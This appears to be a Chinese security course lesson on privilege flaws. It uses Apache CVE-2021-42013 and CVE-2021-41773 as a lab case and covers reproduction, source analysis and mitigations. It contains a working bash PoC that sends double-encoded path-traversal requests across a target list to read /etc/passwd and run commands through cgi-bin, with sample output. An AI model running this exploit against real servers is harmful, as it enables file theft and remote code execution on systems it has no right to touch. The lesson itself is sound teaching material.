You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

293 lines
14 KiB
Markdown

2 years ago
# 04权限不合理攻击者进来就是root权限
你好,我是王昊天。
在多年的电脑使用经历中,你肯定经历过这种画面:
下载了官方软件却没有正版授权,于是千辛万苦找到一个破解软件,但是在运行破解软件时不断被杀毒软件拦截,一怒之下你把杀毒软件关闭了,随着破解软件的成功消息弹出,你露出了满意的微笑……
3天后你的电脑由于病毒感染无法开机了。
这是一种很典型的场景——为了某些临时性的操作破坏了权限边界,进而导致安全问题的发生。其实,**除了临时性的操作,还有很多权限安全问题是长期性的**,可能是配置原因、也可能是代码原因,接下来就让我们来一起探究。
## 权限不合理
**权限不合理简单来说,是不合理的权限赋予、权限处理以及权限管理过程**。这里所说的权限,指的是终端角色的一种属性。那么什么是终端角色呢?你可以理解为,用户就是一个终端角色。
与权限相关的赋予、处理以及管理过程,我们主要通过权限管理来统一实现。权限管理就是能够赋予终端执行某种特殊操作的权利,比如在某些运维场景下,运维人员能够获得系统维护的权限,这其中就包括重启服务器权限——我们都知道服务器重启可不是常规操作权限。
**接下来我们以运行时权限过高为例,来看几种典型的攻击场景。**
应用软件在执行某些操作时可能会获取过高的权限,这就可能会破坏我们之前课程中提到的最小权限原则,如果因为这种原因导致了提权漏洞的发生,就可能会放大其他安全风险,导致严重后果。
随着应用软件执行权限的提高比如运行在root或者Administrator权限操作系统或者软件环境提供的安全检查可能会失效更进一步由于操作环境权限提升已经存在的中低危安全风险可能因此升级为高危安全漏洞。
**1\. 高权限运行应用**
在安装和运行组件的过程中,某些程序组件的运行环境设置的权限过高,导致低权限应用通过服务调用关系可以完成提权操作。
与开发层面相比这一类问题的发生更多倾向于运维层面比较典型的场景如攻击者通过WebApp挖掘出注入类型的漏洞而数据库运行在root或者Administrator权限则可以通过注入提权的方式尝试远程命令执行。
**2\. 降权时出现异常**
以下代码尝试去创建一个用户文件夹,在此操作期间进行了短暂提权:
```python
def makeNewUserDir(username):
...
try:
raisePrivileges()
os.mkdir('/home/' + username)
lowerPrivileges()
except OSError:
return False
...
```
上述代码包含了一次短暂提权开发者在完成目标操作后立即进行了降权但要注意的是username作为一个外部输入的参数可能由于各种原因输入不合法、安全过滤不严格等导致mkdir函数报错进而抛出异常一旦触发这种情况lowerPrivileges函数就无法得到执行程序将持续以高权限状态运行可能会为后续漏洞利用过程提供舒适的环境。
## 案例实战
#### CVE-2021-42013 简介
这是一个Apache服务器中存在的高危安全漏洞会导致服务器路径遍历、关键文件泄露以及远程命令执行漏洞。
有趣的是该漏洞是CVE-2021-41773的兄弟漏洞CVE-2021-41773影响的软件版本是2.4.49该软件版本在2021-09-15发布在修复了CVE-2021-41773漏洞后开发团队于2021-10-04发布了2.4.50版本但是在新版本发布的次日安全研究人员就发现对CVE-2021-41773漏洞的修复并不完善会导致一个变种漏洞的发生——CVE-2021-42013。经过apache确认问题后再次发布了2.4.51版本。
关于apache服务器历史源码的下载可以在apache官网找到链接[Index of /dist/httpd](https://archive.apache.org/dist/httpd/)
#### CVE-2021-42013 漏洞复现
这里我们提供了两种实验方案你可以从源码编译安装也可以直接使用MiTuan搭建好的环境。
**我们先来看看第一种方案如何通过源码编译安装httpd。**
我们首先访问apache官网选择2.4.50版本下载:
[https://archive.apache.org/dist/httpd/httpd-2.4.50.tar.gz](https://archive.apache.org/dist/httpd/httpd-2.4.50.tar.gz)
通过Docker或者虚拟机启动一台Ubuntu Server如下是httpd编译安装前的环境依赖
```bash
apt install libapr1 libapr1-dev
apt install libaprutil1 libaprutil1-dev
apt install libpcre3 libpcre3-dev
```
然后编译安装即可:
```bash
# Extract
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
# Configure
./configure
# Compile
make
# Install
make install
# Test
/usr/local/apache/bin/apachectl -k start
```
这里要注意在完全默认配置下该漏洞是不存在的,这里我们需要对配置文件做简单的修改:
```plain
# 1.
<Directory />
Require all granted
</Directory>
# 2.
LoadModule cgid_module modules/mod_cgid.so
```
上述的代码主要做了两处修改。一是许可了Apache服务器对文件系统的访问操作二是加载了一个Module。
要知道在部署WebApp的过程中这两处修改是非常普遍的因此该漏洞的影响范围非常大。
通过netstat -antp命令可以查看服务状态
```bash
root@1dd54d1b3962:/home# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 26722/httpd
```
**我们来来看看第二种方案尝试使用MiTuan直接启动环境。**
我已经构建好了标准的2.4.50版本httpd服务器环境你可以访问[MiTuan](http://mituan.zone),直接搜索\[极客时间-漏洞挖掘与智能攻防实战\]并选择\[CVE-2021-42013\]来进行测试。
PoC代码如下
```
#!/bin/bash
if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
echo ./PoC.sh targets.txt /bin/sh id
exit
fi
for host in $(cat $1);
do
echo $host
if [[ $3 == '' ]]; then
curl -v --path-as-is "$host/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2";
exit
fi
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2";
done
```
执行PoC代码
```bash
root@1dd54d1b3962:/home# ./CVE-2021-42013.sh targets.txt /etc/passwd
127.0.0.1
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
root@1dd54d1b3962:/home# ./CVE-2021-42013.sh targets.txt /bin/sh id
http://127.0.0.1
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```
可以看到我们可以通过该漏洞访问到`/etc/passwd`文件,并且执行命令获取当前环境的用户信息。
#### CVE-2021-41773 漏洞分析
在成功利用漏洞之后接下来我们要探究一下漏洞的具体成因。考虑到CVE-2021-42013与CVE-2021-41773是兄弟漏洞CVE-2021-42013是由于修复不完善导致的变形所以这里我们从CVE-2021-41773分析入手。
CVE-2021-41773影响的是Apache HTTP Server 2.4.49版本,因此我们可以:从官网下载对应的源代码,使用常用的编辑器查看:[https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz](https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz)或者通过MiTuan的CVE-2021-42013漏洞环境查看。MiTuan的漏洞环境中的`/home/httpd-2.4.49`包含了对应的源码同时也内置了vim编辑器。
与本漏洞相关的核心代码位于`/home/httpd-2.4.49/server/util.c`文件,核心函数是`ap_normalize_path(char *path, unsigned int flags)`,漏洞相关代码如下:
```c++
| while (path[l] != '\0') {
- /* RFC-3986 section 2.3:
2 * For consistency, percent-encoded octets in the ranges of
2 * ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
2 * period (%2E), underscore (%5F), or tilde (%7E) should [...]
2 * be decoded to their corresponding unreserved characters by
2 * URI normalizers.
2 */
2 // 老师添加的注释 - part1
2 if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
- && path[l] == '%' && apr_isxdigit(path[l + 1])
- && apr_isxdigit(path[l + 2])) {
3 const char c = x2c(&path[l + 1]);
3 if (apr_isalnum(c) || (c && strchr("-._~", c))) {
- /* Replace last char and fall through as the current
4 * read position */
4 l += 2;
4 path[l] = c;
3 }
2 }
- ...
2 if (w == 0 || IS_SLASH(path[w - 1])) {
- /* Collapse ///// sequences to / */
3 if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
- do {
- l++;
4 } while (IS_SLASH(path[l]));
4 continue;
3 }
3
3 // 老师添加的注释 - part2
3 if (path[l] == '.') {
- /* Remove /./ segments */
4 if (IS_SLASH_OR_NUL(path[l + 1])) {
- l++;
5 if (path[l]) {
- l++;
5 }
5 continue;
4 }
4 /* Remove /xx/../ segments */
4 if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
- /* Wind w back to remove the previous segment */
5 if (w > 1) {
- do {
- w--;
6 } while (w && !IS_SLASH(path[w - 1]));
5 }
```
根据我在源码中添加的注释,可以定位关键代码段:
* 注释1
检测到路径中存在%字符时如果紧跟的2个字符是十六进制字符就会进行url解码将其转换成标准字符。
效果:`%2e -> .`
* 注释2
判断是否存在`../` ,如果路径中存在`%2e./` 形式,就会检测到,但是出现`.%2e/` 这种形式时,就不会检测到。
效果:使用`.%2e/`或者`%2e %2e` 绕过对路径穿越符的检测。
由此即可构建PoC代码
```
$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/password
```
好的至此我们已经成功从代码中分析清楚CVE-2021-41773漏洞的成因并且构建了能够利用漏洞的PoC代码。接下来我们要学习如何从安全建设和开发的角度来防御这种风险。
## 防御及检测
针对权限相关的安全问题,在三个不同的阶段,我们分别有不同的方式加以防御和检测。
**在架构设计阶段**你可以使用“最小权限原则”来运行你的代码如果可能的话为你的任务代码创建一个独立的、拥有受限权限的账户。在这种情况下即使攻击者的完成了一次入侵也很难直接威慑到软件系统的其他部分。举例来说数据库应用很少以DBA的形式长时间运行。
另外,你需要识别出需要额外权限的函数,并做好“权限隔离”。\*\*可以通过封装的方式,尽可能的将高权限需求函数与其他代码分割开,同时尽量晚地进行提权操作,以及尽量早地进行降权操作,防止外部任何可能干扰高权限代码段的输入发生。
**在开发实现阶段**,你需要对于高权限代码段要给予足够的关注,在输入检测层面要提供更严格的审核以及限制策略。
当进行降权时,不要忘记额外调用检测函数以确保权限被成功降低,防止出现降权函数执行失败导致权限没有降低的情况。
**在系统配置阶段**,对于复杂应用系统,你要确保配置文件得到良好的审计,配置文件往往会大幅度影响应用系统的权限级别。
## 总结
这节课我们学习了一种很常见但是很重要的安全风险——权限相关的漏洞。
这种漏洞有时与运维相关,由高权限运行应用导致;有时与开发代码相关,由开发时降权失败导致,对此我们分别列举了典型的攻击场景。
然后我们找到了一个2021年发生高危漏洞——CVE-2021-42013它是一个由于配置不当引发的权限相关的漏洞成功利用可以导致文件越权访问以及远程代码执行。
通过搭建环境并进行PoC代码编写我们成功完成了漏洞的复现掌握了CVE-2021-42013的使用。
但是会使用一个漏洞只是量的积累我们更希望以点及面从这个漏洞入手进而掌握这一类漏洞的原理。为了分析漏洞原理我们追踪了它的兄弟漏洞——CVE-2021-41773这是CVE-2021-42013漏洞的前一版本正是由于开发人员更新时针对CVE-2021-41773的修复不完整才导致了CVE-2021-42013的发生。
接下来我们又从源码层面挖掘漏洞的根源。
你需要判断是否存在`../`,如果路径中存在`%2e./`形式,就会检测到,但是出现`.%2e/`这种形式时 ,就不会检测到。这一漏洞是由于输入检测不严格,导致用户能够进行输入绕过,完成命令执行。
从本质上来看,问题发生的根源是过滤不严格导致的安全漏洞,关于输入过滤的问题我们已经在前几节课中探讨过,这节课我们更多的是关注存在问题时,我们应该如何做安全建设:
1. 通过函数封装、用户隔离等方式最小权限运行代码;
2. 对高权限代码给予额外的输入检测以及函数检查;
3. 对复杂应用系统的配置文件进行安全审计。
通过结合前几节课程中提到的输入过滤等安全策略,这种多维度、多层次的安全建设,可以更有效地提高应用系统的整体安全性。
## 思考题
这节课我们研究了CVE-2021-41773 漏洞你可以继续完成CVE-2021-42013 漏洞的分析吗?
欢迎在评论区留下你的思考,我们下节课再见。